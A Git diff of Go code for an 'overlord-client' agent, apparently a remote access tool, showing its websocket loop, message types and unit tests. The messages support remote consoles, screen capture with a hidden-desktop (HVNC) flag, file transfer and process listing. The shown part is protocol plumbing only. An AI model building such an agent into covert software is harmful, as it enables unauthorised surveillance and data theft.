func toWireMonitorInfo(infos []capture.MonitorInfo) []wire.MonitorInfo {
|
||||
if len(infos) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]wire.MonitorInfo, 0, len(infos))
|
||||
for _, info := range infos {
|
||||
out = append(out, wire.MonitorInfo{Width: info.Width, Height: info.Height})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func readLoop(ctx context.Context, conn *websocket.Conn, env *rt.Env, dispatcher *handlers.Dispatcher) error {
|
||||
for {
|
||||
_, data, err := conn.Read(ctx)
|
||||
if err != nil {
|
||||
if ctx.Err() != nil {
|
||||
return err
|
||||
}
|
||||
log.Printf("readLoop: read error: %v", err)
|
||||
return err
|
||||
}
|
||||
envelope, err := wire.DecodeEnvelope(data)
|
||||
if err != nil {
|
||||
log.Printf("decode: %v (bytes=%d)", err, len(data))
|
||||
continue
|
||||
}
|
||||
if err := dispatcher.Dispatch(ctx, envelope); err != nil {
|
||||
log.Printf("dispatcher error: %v (type=%v)", err, envelope["type"])
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net/http"
|
||||
"os"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
"overlord-client/cmd/agent/handlers"
|
||||
|
||||
"nhooyr.io/websocket"
|
||||
)
|
||||
|
||||
func withEnv(key, value string, fn func()) {
|
||||
old, ok := os.LookupEnv(key)
|
||||
if value == "" {
|
||||
_ = os.Unsetenv(key)
|
||||
} else {
|
||||
_ = os.Setenv(key, value)
|
||||
}
|
||||
defer func() {
|
||||
if ok {
|
||||
_ = os.Setenv(key, old)
|
||||
} else {
|
||||
_ = os.Unsetenv(key)
|
||||
}
|
||||
}()
|
||||
fn()
|
||||
}
|
||||
|
||||
func TestGetPingInterval_Default(t *testing.T) {
|
||||
withEnv("OVERLORD_PING_INTERVAL_MS", "", func() {
|
||||
interval := getPingInterval()
|
||||
if interval != 30*time.Second {
|
||||
t.Fatalf("expected 30s, got %s", interval)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestGetPingInterval_Custom(t *testing.T) {
|
||||
withEnv("OVERLORD_PING_INTERVAL_MS", "0", func() {
|
||||
interval := getPingInterval()
|
||||
if interval != 0 {
|
||||
t.Fatalf("expected 0, got %s", interval)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestGetPingInterval_Invalid(t *testing.T) {
|
||||
withEnv("OVERLORD_PING_INTERVAL_MS", "oops", func() {
|
||||
interval := getPingInterval()
|
||||
if interval != 30*time.Second {
|
||||
t.Fatalf("expected 30s on invalid input, got %s", interval)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestReconnectDelay_Custom(t *testing.T) {
|
||||
withEnv("OVERLORD_RECONNECT_DELAY_MS", "0", func() {
|
||||
delay := reconnectDelay()
|
||||
if delay != 0 {
|
||||
t.Fatalf("expected 0, got %s", delay)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestReconnectDelay_Invalid(t *testing.T) {
|
||||
withEnv("OVERLORD_RECONNECT_DELAY_MS", "bad", func() {
|
||||
delay := reconnectDelay()
|
||||
if delay < 10*time.Second || delay > 30*time.Second {
|
||||
t.Fatalf("expected 10-30s, got %s", delay)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestShouldRetryImmediately(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
err error
|
||||
want bool
|
||||
}{
|
||||
{
|
||||
name: "normal closure",
|
||||
err: &websocket.CloseError{Code: websocket.StatusNormalClosure},
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "going away",
|
||||
err: &websocket.CloseError{Code: websocket.StatusGoingAway},
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "abnormal closure",
|
||||
err: &websocket.CloseError{Code: websocket.StatusAbnormalClosure},
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "timeout string",
|
||||
err: errors.New("timed out from inactivity"),
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "other error",
|
||||
err: errors.New("something else"),
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "explicit reconnect",
|
||||
err: handlers.ErrReconnect,
|
||||
want: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range cases {
|
||||
if got := shouldRetryImmediately(tc.err); got != tc.want {
|
||||
t.Fatalf("%s: expected %v, got %v", tc.name, tc.want, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildDialOptions(t *testing.T) {
|
||||
transport := &http.Transport{}
|
||||
opts := buildDialOptions(config.Config{}, transport)
|
||||
if len(opts.Subprotocols) != 1 || opts.Subprotocols[0] != "binary" {
|
||||
t.Fatalf("expected binary subprotocol, got %v", opts.Subprotocols)
|
||||
}
|
||||
if opts.CompressionMode != websocket.CompressionContextTakeover {
|
||||
t.Fatalf("expected compression takeover, got %v", opts.CompressionMode)
|
||||
}
|
||||
if opts.HTTPClient == nil || opts.HTTPClient.Transport != transport {
|
||||
t.Fatalf("expected http client to use provided transport")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package wire
|
||||
|
||||
import "github.com/vmihailenco/msgpack/v5"
|
||||
|
||||
func DecodeEnvelope(data []byte) (map[string]interface{}, error) {
|
||||
env := make(map[string]interface{})
|
||||
if err := msgpack.Unmarshal(data, &env); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return env, nil
|
||||
}
|
||||
@@ -0,0 +1,187 @@
|
||||
package wire
|
||||
|
||||
type Hello struct {
|
||||
Type string `msgpack:"type"`
|
||||
ID string `msgpack:"id"`
|
||||
HWID string `msgpack:"hwid"`
|
||||
Host string `msgpack:"host"`
|
||||
OS string `msgpack:"os"`
|
||||
Arch string `msgpack:"arch"`
|
||||
Version string `msgpack:"version"`
|
||||
User string `msgpack:"user"`
|
||||
Monitors int `msgpack:"monitors"`
|
||||
MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
|
||||
Country string `msgpack:"country,omitempty"`
|
||||
}
|
||||
|
||||
type MonitorInfo struct {
|
||||
Width int `msgpack:"width"`
|
||||
Height int `msgpack:"height"`
|
||||
}
|
||||
|
||||
type Ping struct {
|
||||
Type string `msgpack:"type"`
|
||||
TS int64 `msgpack:"ts,omitempty"`
|
||||
}
|
||||
|
||||
type Pong struct {
|
||||
Type string `msgpack:"type"`
|
||||
TS int64 `msgpack:"ts,omitempty"`
|
||||
}
|
||||
|
||||
type Command struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandType string `msgpack:"commandType"`
|
||||
Payload interface{} `msgpack:"payload,omitempty"`
|
||||
ID string `msgpack:"id,omitempty"`
|
||||
}
|
||||
|
||||
type CommandResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
OK bool `msgpack:"ok"`
|
||||
Message string `msgpack:"message,omitempty"`
|
||||
}
|
||||
|
||||
type FrameHeader struct {
|
||||
Monitor int `msgpack:"monitor"`
|
||||
FPS int `msgpack:"fps"`
|
||||
Format string `msgpack:"format"`
|
||||
HVNC bool `msgpack:"hvnc,omitempty"`
|
||||
}
|
||||
|
||||
type Frame struct {
|
||||
Type string `msgpack:"type"`
|
||||
Header FrameHeader `msgpack:"header"`
|
||||
Data []byte `msgpack:"data"`
|
||||
}
|
||||
|
||||
type ScreenshotResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
Format string `msgpack:"format"`
|
||||
Width int `msgpack:"width,omitempty"`
|
||||
Height int `msgpack:"height,omitempty"`
|
||||
Data []byte `msgpack:"data"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type ConsoleOutput struct {
|
||||
Type string `msgpack:"type"`
|
||||
SessionID string `msgpack:"sessionId"`
|
||||
Data []byte `msgpack:"data,omitempty"`
|
||||
ExitCode *int `msgpack:"exitCode,omitempty"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type FileEntry struct {
|
||||
Name string `msgpack:"name"`
|
||||
Path string `msgpack:"path"`
|
||||
IsDir bool `msgpack:"isDir"`
|
||||
Size int64 `msgpack:"size"`
|
||||
ModTime int64 `msgpack:"modTime"`
|
||||
Mode string `msgpack:"mode,omitempty"`
|
||||
Owner string `msgpack:"owner,omitempty"`
|
||||
Group string `msgpack:"group,omitempty"`
|
||||
}
|
||||
|
||||
type FileListResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
Path string `msgpack:"path"`
|
||||
Entries []FileEntry `msgpack:"entries"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type FileDownload struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
Path string `msgpack:"path"`
|
||||
Data []byte `msgpack:"data"`
|
||||
Offset int64 `msgpack:"offset"`
|
||||
Total int64 `msgpack:"total"`
|
||||
ChunkIndex int `msgpack:"chunkIndex,omitempty"`
|
||||
ChunksTotal int `msgpack:"chunksTotal,omitempty"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type FileUploadResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
TransferID string `msgpack:"transferId,omitempty"`
|
||||
Path string `msgpack:"path"`
|
||||
OK bool `msgpack:"ok"`
|
||||
Offset int64 `msgpack:"offset,omitempty"`
|
||||
Size int64 `msgpack:"size,omitempty"`
|
||||
Received int64 `msgpack:"received,omitempty"`
|
||||
Total int64 `msgpack:"total,omitempty"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type ProcessInfo struct {
|
||||
PID int32 `msgpack:"pid"`
|
||||
PPID int32 `msgpack:"ppid"`
|
||||
Name string `msgpack:"name"`
|
||||
CPU float64 `msgpack:"cpu"`
|
||||
Memory uint64 `msgpack:"memory"`
|
||||
Username string `msgpack:"username,omitempty"`
|
||||
Type string `msgpack:"type,omitempty"`
|
||||
}
|
||||
|
||||
type ProcessListResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
Processes []ProcessInfo `msgpack:"processes"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type FileReadResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
Path string `msgpack:"path"`
|
||||
Content string `msgpack:"content"`
|
||||
IsBinary bool `msgpack:"isBinary"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type FileSearchMatch struct {
|
||||
Path string `msgpack:"path"`
|
||||
Line int `msgpack:"line,omitempty"`
|
||||
Match string `msgpack:"match,omitempty"`
|
||||
}
|
||||
|
||||
type FileSearchResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
SearchID string `msgpack:"searchId"`
|
||||
Results []FileSearchMatch `msgpack:"results"`
|
||||
Complete bool `msgpack:"complete"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type ScriptResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
OK bool `msgpack:"ok"`
|
||||
Output string `msgpack:"output"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type PluginEvent struct {
|
||||
Type string `msgpack:"type"`
|
||||
PluginID string `msgpack:"pluginId"`
|
||||
Event string `msgpack:"event"`
|
||||
Payload interface{} `msgpack:"payload,omitempty"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type Notification struct {
|
||||
Type string `msgpack:"type"`
|
||||
Category string `msgpack:"category"`
|
||||
Title string `msgpack:"title"`
|
||||
Process string `msgpack:"process,omitempty"`
|
||||
ProcessPath string `msgpack:"processPath,omitempty"`
|
||||
PID int32 `msgpack:"pid,omitempty"`
|
||||
Keyword string `msgpack:"keyword,omitempty"`
|
||||
TS int64 `msgpack:"ts,omitempty"`
|
||||
}
|
||||
@@ -0,0 +1,361 @@
|
||||
package wire
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/vmihailenco/msgpack/v5"
|
||||
"nhooyr.io/websocket"
|
||||
)
|
||||
|
||||
type testWriter struct {
|
||||
msgs [][]byte
|
||||
}
|
||||
|
||||
func (w *testWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
|
||||
w.msgs = append(w.msgs, append([]byte(nil), p...))
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestHelloMarshaling(t *testing.T) {
|
||||
hello := Hello{
|
||||
Type: "hello",
|
||||
ID: "test-id",
|
||||
HWID: "test-hwid",
|
||||
Host: "test-host",
|
||||
OS: "test-os",
|
||||
Arch: "test-arch",
|
||||
Version: "1.0.0",
|
||||
User: "test-user",
|
||||
Monitors: 2,
|
||||
MonitorInfo: []MonitorInfo{
|
||||
{Width: 1920, Height: 1080},
|
||||
{Width: 1280, Height: 720},
|
||||
},
|
||||
Country: "US",
|
||||
}
|
||||
|
||||
data, err := msgpack.Marshal(hello)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to marshal Hello: %v", err)
|
||||
}
|
||||
|
||||
var decoded Hello
|
||||
if err := msgpack.Unmarshal(data, &decoded); err != nil {
|
||||
t.Fatalf("Failed to unmarshal Hello: %v", err)
|
||||
}
|
||||
|
||||
if decoded.ID != hello.ID {
|
||||
t.Errorf("ID mismatch: got %s, want %s", decoded.ID, hello.ID)
|
||||
}
|
||||
if decoded.Monitors != hello.Monitors {
|
||||
t.Errorf("Monitors mismatch: got %d, want %d", decoded.Monitors, hello.Monitors)
|
||||
}
|
||||
if len(decoded.MonitorInfo) != len(hello.MonitorInfo) {
|
||||
t.Errorf("MonitorInfo length mismatch: got %d, want %d", len(decoded.MonitorInfo), len(hello.MonitorInfo))
|
||||
}
|
||||
}
|
||||
|
||||
func TestPingPongMarshaling(t *testing.T) {
|
||||
ping := Ping{
|
||||
Type: "ping",
|
||||
TS: 1234567890,
|
||||
}
|
||||
|
||||
data, err := msgpack.Marshal(ping)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to marshal Ping: %v", err)
|
||||
}
|
||||
|
||||
var decoded Ping
|
||||
if err := msgpack.Unmarshal(data, &decoded); err != nil {
|
||||
t.Fatalf("Failed to unmarshal Ping: %v", err)
|
||||
}
|
||||
|
||||
if decoded.TS != ping.TS {
|
||||
t.Errorf("Timestamp mismatch: got %d, want %d", decoded.TS, ping.TS)
|
||||
}
|
||||
|
||||
pong := Pong{
|
||||
Type: "pong",
|
||||
TS: ping.TS,
|
||||
}
|
||||
|
||||
data2, err := msgpack.Marshal(pong)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to marshal Pong: %v", err)
|
||||
}
|
||||
|
||||
var decodedPong Pong
|
||||
if err := msgpack.Unmarshal(data2, &decodedPong); err != nil {
|
||||
t.Fatalf("Failed to unmarshal Pong: %v", err)
|
||||
}
|
||||
|
||||
if decodedPong.TS != pong.TS {
|
||||
t.Errorf("Pong timestamp mismatch: got %d, want %d", decodedPong.TS, pong.TS)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCommandMarshaling(t *testing.T) {
|
||||
cmd := Command{
|
||||
Type: "command",
|
||||
CommandType: "test_command",
|
||||
ID: "cmd-123",
|
||||
Payload: map[string]interface{}{"key": "value"},
|
||||
}
|
||||
|
||||
data, err := msgpack.Marshal(cmd)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to marshal Command: %v", err)
|
||||
}
|
||||
|
||||
var decoded Command
|
||||
if err := msgpack.Unmarshal(data, &decoded); err != nil {
|
||||
t.Fatalf("Failed to unmarshal Command: %v", err)
|
||||
}
|
||||
|
||||
if decoded.CommandType != cmd.CommandType {
|
||||
t.Errorf("CommandType mismatch: got %s, want %s", decoded.CommandType, cmd.CommandType)
|
||||
}
|
||||
if decoded.ID != cmd.ID {
|
||||
t.Errorf("ID mismatch: got %s, want %s", decoded.ID, cmd.ID)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCommandResultMarshaling(t *testing.T) {
|
||||
result := CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: "cmd-123",
|
||||
OK: true,
|
||||
Message: "Success",
|
||||
}
|
||||
|
||||
data, err := msgpack.Marshal(result)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to marshal CommandResult: %v", err)
|
||||
}
|
||||
|
||||
var decoded CommandResult
|
||||
if err := msgpack.Unmarshal(data, &decoded); err != nil {
|
||||
t.Fatalf("Failed to unmarshal CommandResult: %v", err)
|
||||
}
|
||||
|
||||
if decoded.OK != result.OK {
|
||||
t.Errorf("OK mismatch: got %v, want %v", decoded.OK, result.OK)
|
||||
}
|
||||
if decoded.Message != result.Message {
|
||||
t.Errorf("Message mismatch: got %s, want %s", decoded.Message, result.Message)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFrameMarshaling(t *testing.T) {
|
||||
frame := Frame{
|
||||
Type: "frame",
|
||||
Header: FrameHeader{
|
||||
Monitor: 0,
|
||||
FPS: 30,
|
||||
Format: "jpeg",
|
||||
},
|
||||
Data: []byte{0xFF, 0xD8, 0xFF, 0xE0},
|
||||
}
|
||||
|
||||
data, err := msgpack.Marshal(frame)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to marshal Frame: %v", err)
|
||||
}
|
||||
|
||||
var decoded Frame
|
||||
if err := msgpack.Unmarshal(data, &decoded); err != nil {
|
||||
t.Fatalf("Failed to unmarshal Frame: %v", err)
|
||||
}
|
||||
|
||||
if decoded.Header.FPS != frame.Header.FPS {
|
||||
t.Errorf("FPS mismatch: got %d, want %d", decoded.Header.FPS, frame.Header.FPS)
|
||||
}
|
||||
if !bytes.Equal(decoded.Data, frame.Data) {
|
||||
t.Errorf("Data mismatch")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFileEntryMarshaling(t *testing.T) {
|
||||
entry := FileEntry{
|
||||
Name: "test.txt",
|
||||
Path: "/home/user/test.txt",
|
||||
IsDir: false,
|
||||
Size: 1024,
|
||||
ModTime: 1609459200,
|
||||
}
|
||||
|
||||
data, err := msgpack.Marshal(entry)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to marshal FileEntry: %v", err)
|
||||
}
|
||||
|
||||
var decoded FileEntry
|
||||
if err := msgpack.Unmarshal(data, &decoded); err != nil {
|
||||
t.Fatalf("Failed to unmarshal FileEntry: %v", err)
|
||||
}
|
||||
|
||||
if decoded.Name != entry.Name {
|
||||
t.Errorf("Name mismatch: got %s, want %s", decoded.Name, entry.Name)
|
||||
}
|
||||
if decoded.Size != entry.Size {
|
||||
t.Errorf("Size mismatch: got %d, want %d", decoded.Size, entry.Size)
|
||||
}
|
||||
if decoded.IsDir != entry.IsDir {
|
||||
t.Errorf("IsDir mismatch: got %v, want %v", decoded.IsDir, entry.IsDir)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFileListResultMarshaling(t *testing.T) {
|
||||
result := FileListResult{
|
||||
Type: "file_list_result",
|
||||
CommandID: "cmd-456",
|
||||
Path: "/home/user",
|
||||
Entries: []FileEntry{
|
||||
{Name: "file1.txt", Path: "/home/user/file1.txt", IsDir: false, Size: 100, ModTime: 1609459200},
|
||||
{Name: "dir1", Path: "/home/user/dir1", IsDir: true, Size: 0, ModTime: 1609459200},
|
||||
},
|
||||
Error: "",
|
||||
}
|
||||
|
||||
data, err := msgpack.Marshal(result)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to marshal FileListResult: %v", err)
|
||||
}
|
||||
|
||||
var decoded FileListResult
|
||||
if err := msgpack.Unmarshal(data, &decoded); err != nil {
|
||||
t.Fatalf("Failed to unmarshal FileListResult: %v", err)
|
||||
}
|
||||
|
||||
if len(decoded.Entries) != len(result.Entries) {
|
||||
t.Errorf("Entries count mismatch: got %d, want %d", len(decoded.Entries), len(result.Entries))
|
||||
}
|
||||
if decoded.Path != result.Path {
|
||||
t.Errorf("Path mismatch: got %s, want %s", decoded.Path, result.Path)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessInfoMarshaling(t *testing.T) {
|
||||
proc := ProcessInfo{
|
||||
PID: 1234,
|
||||
PPID: 1,
|
||||
Name: "test.exe",
|
||||
CPU: 25.5,
|
||||
Memory: 1048576,
|
||||
Username: "testuser",
|
||||
Type: "own",
|
||||
}
|
||||
|
||||
data, err := msgpack.Marshal(proc)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to marshal ProcessInfo: %v", err)
|
||||
}
|
||||
|
||||
var decoded ProcessInfo
|
||||
if err := msgpack.Unmarshal(data, &decoded); err != nil {
|
||||
t.Fatalf("Failed to unmarshal ProcessInfo: %v", err)
|
||||
}
|
||||
|
||||
if decoded.PID != proc.PID {
|
||||
t.Errorf("PID mismatch: got %d, want %d", decoded.PID, proc.PID)
|
||||
}
|
||||
if decoded.PPID != proc.PPID {
|
||||
t.Errorf("PPID mismatch: got %d, want %d", decoded.PPID, proc.PPID)
|
||||
}
|
||||
if decoded.Name != proc.Name {
|
||||
t.Errorf("Name mismatch: got %s, want %s", decoded.Name, proc.Name)
|
||||
}
|
||||
if decoded.CPU != proc.CPU {
|
||||
t.Errorf("CPU mismatch: got %f, want %f", decoded.CPU, proc.CPU)
|
||||
}
|
||||
if decoded.Type != proc.Type {
|
||||
t.Errorf("Type mismatch: got %s, want %s", decoded.Type, proc.Type)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessListResultMarshaling(t *testing.T) {
|
||||
result := ProcessListResult{
|
||||
Type: "process_list_result",
|
||||
CommandID: "cmd-789",
|
||||
Processes: []ProcessInfo{
|
||||
{PID: 1, PPID: 0, Name: "init", CPU: 0.1, Memory: 1024, Username: "root", Type: "system"},
|
||||
{PID: 100, PPID: 1, Name: "service", CPU: 5.0, Memory: 2048, Username: "system", Type: "service"},
|
||||
},
|
||||
Error: "",
|
||||
}
|
||||
|
||||
data, err := msgpack.Marshal(result)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to marshal ProcessListResult: %v", err)
|
||||
}
|
||||
|
||||
var decoded ProcessListResult
|
||||
if err := msgpack.Unmarshal(data, &decoded); err != nil {
|
||||
t.Fatalf("Failed to unmarshal ProcessListResult: %v", err)
|
||||
}
|
||||
|
||||
if len(decoded.Processes) != len(result.Processes) {
|
||||
t.Errorf("Processes count mismatch: got %d, want %d", len(decoded.Processes), len(result.Processes))
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteMsg(t *testing.T) {
|
||||
writer := &testWriter{}
|
||||
ctx := context.Background()
|
||||
|
||||
msg := Pong{
|
||||
Type: "pong",
|
||||
TS: 1234567890,
|
||||
}
|
||||
|
||||
if err := WriteMsg(ctx, writer, msg); err != nil {
|
||||
t.Fatalf("WriteMsg failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var decoded Pong
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &decoded); err != nil {
|
||||
t.Fatalf("Failed to unmarshal written message: %v", err)
|
||||
}
|
||||
|
||||
if decoded.TS != msg.TS {
|
||||
t.Errorf("Written message timestamp mismatch: got %d, want %d", decoded.TS, msg.TS)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConsoleOutputMarshaling(t *testing.T) {
|
||||
exitCode := 0
|
||||
output := ConsoleOutput{
|
||||
Type: "console_output",
|
||||
SessionID: "session-123",
|
||||
Data: []byte("test output"),
|
||||
ExitCode: &exitCode,
|
||||
Error: "",
|
||||
}
|
||||
|
||||
data, err := msgpack.Marshal(output)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to marshal ConsoleOutput: %v", err)
|
||||
}
|
||||
|
||||
var decoded ConsoleOutput
|
||||
if err := msgpack.Unmarshal(data, &decoded); err != nil {
|
||||
t.Fatalf("Failed to unmarshal ConsoleOutput: %v", err)
|
||||
}
|
||||
|
||||
if decoded.SessionID != output.SessionID {
|
||||
t.Errorf("SessionID mismatch: got %s, want %s", decoded.SessionID, output.SessionID)
|
||||
}
|
||||
if !bytes.Equal(decoded.Data, output.Data) {
|
||||
t.Errorf("Data mismatch")
|
||||
}
|
||||
if decoded.ExitCode == nil || *decoded.ExitCode != *output.ExitCode {
|
||||
t.Errorf("ExitCode mismatch")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
package wire
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync"
|
||||
|
||||
"nhooyr.io/websocket"
|
||||
)
|
||||
|
||||
type SafeWriter struct {
|
||||
mu sync.Mutex
|
||||
w Writer
|
||||
}
|
||||
|
||||
func NewSafeWriter(w Writer) *SafeWriter {
|
||||
return &SafeWriter{w: w}
|
||||
}
|
||||
|
||||
func (s *SafeWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
return s.w.Write(ctx, messageType, p)
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user